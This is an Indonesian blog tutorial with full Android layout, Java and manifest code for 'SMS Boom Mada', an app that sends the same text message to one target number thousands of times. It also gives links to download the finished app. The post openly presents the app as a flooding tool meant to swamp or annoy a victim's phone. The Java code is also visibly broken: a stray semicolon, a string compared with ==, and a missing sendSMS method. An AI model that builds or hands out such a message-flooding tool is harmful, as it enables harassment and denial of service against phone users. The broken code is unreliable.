Tags

,

Detailed source di buku : Android : Pemrograman Aplikasi Mobile Smartphone dan Tablet PC
Penerbit : Informatika Bandung.

Dapatkan di toko-toko buku/gramedia di kota anda, jika blum tersedia buy online di
source : http://biobses.com/
categori pemrograman – android

SMS BOOM

sms boom mungkin bisa kita samakan konsepnya dengan flooding like email-boom,dll

flooding atau boom bisa di artikan membanjiri permintaan terhadap target yang dituju, dalam hal networking mungkin membanjiri permintaan ke server, sehingga server tidak mampu melayani permintaan tersebut,

jika kita ibaratkan di sms,, mungkin sms boom itu adalah sms yang dilakukan secara berulang-ulang terhadap satu nomor tujuan,, pada zaman sekarang smartphone sudah bisa mungkin save sms lebih 500, tapi bayangkan apabila anda menerima sms dari satu nomor sebanyak 10.000 sms.. apakah device/hp anda akan hank atau anda akan merasa risih… i don’t know lah…

atau hanya untuk menghabiskan bonus sms anda yang belum pernah anda gunakan,,,hi.hi.hi..gunakan untuk mengingatkan orang akan adanya anda…hi.hi.hi..

itu bisa jadi dilakukan mengingat sekarang ada promo gila2 an gratis sms like dari axis,,, 10.000 sms bok…onde mande..

kemudian mungkin kita berasumsi betapa sibuknya sistem ketika mengirim sms sebanyak 10000, android adalah sistem yang sudah dari awalnya dibangun memiliki arsitektur mutli tasking,, sehingga sebagai contoh ketika sistem mengirim sms 10.000 sekalipun akan terasa seperti mengirim 1 sms, sistem android dapat melakukan proses pengiriman berjalan di bagckground sehingga ketika proses pengiriman, kita akan dapat melakukan aktifitas yang lain seperti fb, main game, dll tanpa terpengaruh sedikit pun..

berikut adalah bahasan sms boom di android.

Persiapkan layout tampilan anda seperti gambar berikut :

kalau di generate ke xml seperti ini codingnya
main.xml

<?xml version="1.0" encoding="utf-8"?>

<AbsoluteLayout
  xmlns:android="http://schemas.android.com/apk/res/android"
  android:layout_width="fill_parent"
  android:background="#ffffffff"
  android:id="@+id/layar"
  android:layout_height="fill_parent" android:fadingEdge="vertical" android:scrollbars="vertical">



<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:background="@drawable/images"
    >
    
    
    
    <TextView  
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content" 
        android:text="Number phone to die"
        android:textColor="#ff0000ff"
        />     
    <EditText 
        android:id="@+id/txtPhoneNo"  
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content"        
        />
    <TextView  
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content"         
        android:text="Message"
        android:textColor="#ff0000ff"
        />     
    <EditText 
        android:id="@+id/txtMessage"  
        android:layout_width="fill_parent" 
        android:layout_height="150px"
        android:text=""
        android:gravity="top"         
        />   
        <TextView  
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content"         
        android:text="Message looping(number) :"
        android:textColor="#ff0000ff"
        />     
    <EditText 
        android:id="@+id/durasi"  
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content"          
        />        
    <Button 
        android:id="@+id/btnSendSMS"  
        android:layout_width="fill_parent" 
        android:layout_height="wrap_content"
        android:text="Send SMS"
        />
    <TextView android:text="By : nsafaat.wordpress.com" 
              android:id="@+id/textView1" 
              android:layout_width="wrap_content" 
              android:layout_height="wrap_content"
              android:textSize="20sp"
              android:textColor="#ffff0000">
              </TextView>
    <TextView android:text="http://sites.google.com/site/bukuandroid/" 
              android:id="@+id/textView1" 
              android:layout_width="wrap_content" 
              android:layout_height="wrap_content"
              android:textSize="15sp"
              android:textColor="#ffff0000">
              </TextView>    
</LinearLayout>

</AbsoluteLayout>

siapkan sms.java sebagai coding javanya..

Sms.java

package uxc.wilis.SMSboomMada;
 
import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
 
@SuppressWarnings("deprecation")
public class SMS extends Activity 
{
    Button btnSendSMS;
    EditText txtPhoneNo;
    EditText txtMessage,akhir;
    public int in;
 
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) 
    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);        
 
        btnSendSMS = (Button) findViewById(R.id.btnSendSMS);
        txtPhoneNo = (EditText) findViewById(R.id.txtPhoneNo);
        txtMessage = (EditText) findViewById(R.id.txtMessage);
        akhir = (EditText) findViewById(R.id.durasi);
 
        btnSendSMS.setOnClickListener(new View.OnClickListener() 
        {
            public void onClick(View v) 
            {                
                String phoneNo = txtPhoneNo.getText().toString();
                String message = txtMessage.getText().toString();   
                                
                if (String.valueOf(txtPhoneNo) == "08126868????");
                {
                	finish();
                	
                }
                
                int i;
                
                float n1 = Float.valueOf(akhir.getText().toString());
               
               if (phoneNo.length()>0 && message.length()>0)  
                	
            	   //lakukan perulangan pengiriman sms tapi jalan di background
            	   for ( i=0; i < n1; i++ ) {
                    sendSMS(phoneNo, message);  
                	}
               
                else
                    Toast.makeText(getBaseContext(), 
                        "Please enter both phone number and message.", 
                        Toast.LENGTH_SHORT).show();
            }

			
        });        
    }  

Penjelesan coding :
digunakan variabel untuk menampung inputan sebagai berikut :

btnSendSMS = (Button) findViewById(R.id.btnSendSMS);
        txtPhoneNo = (EditText) findViewById(R.id.txtPhoneNo);
        txtMessage = (EditText) findViewById(R.id.txtMessage);
        akhir = (EditText) findViewById(R.id.durasi);

untuk menghindari senjata makan tuan,,, ane ikutkan kondisi untuk menghindari aplikasi ini digunakan untuk sms nomor ane dan nomor orang2 yang ane cintai..hi.hi.hi.. apk kalau anda install akan menolak sms ke nomor tujuan nomor pribadi ane aja..hi.hi.hi..

public void onClick(View v) 
            {                
                String phoneNo = txtPhoneNo.getText().toString();
                String message = txtMessage.getText().toString();   

                // if tujuan adalah ini maka exit aplikasi en pengiriman dibatalkan..                
                if (String.valueOf(txtPhoneNo) == "08126868????");
                {
                	finish();
                	
                }

sementara untuk melakukan perulangan digunakan coding berikut :

if (phoneNo.length()>0 && message.length()>0)  
                	
            	   //lakukan perulangan pengiriman sms tapi jalan di background
            	   for ( i=0; i < n1; i++ ) {
                    sendSMS(phoneNo, message);  
                	}
               
                else
                    Toast.makeText(getBaseContext(), 
                        "Please enter both phone number and message.", 
                        Toast.LENGTH_SHORT).show();
            }

dan jangan lupa uses-permission send_sms di AndroidManifest.xml kita.

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="uxc.wilis.SMSboomMada"
      android:versionCode="1"
      android:versionName="1.0.0">
    <application android:icon="@drawable/icon" android:label="SMS BOom Mada">
        <activity android:name=".SMS"
                  android:label="SMS BOoM Mada" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-sdk android:minSdkVersion="5" />
    <uses-permission android:name="android.permission.SEND_SMS">
    </uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS">
    </uses-permission>
</manifest>

untuk dapat menggunakan aplikasi… silahkan anda lakukan instlasi dari market-market di sekitar anda :

download di : http://istore.indosatm2.com/?a=dcontent&id=592/

market-android.com juga sudah tersedia dengan nama smsboom mada

jika button send sms di tekan,, aplikasi akan hilang/selesai, dan proses pengiriman akan berjalan di bagckground sistem sehingga tidak mengganggu aktifitas ria yang anda lakukan.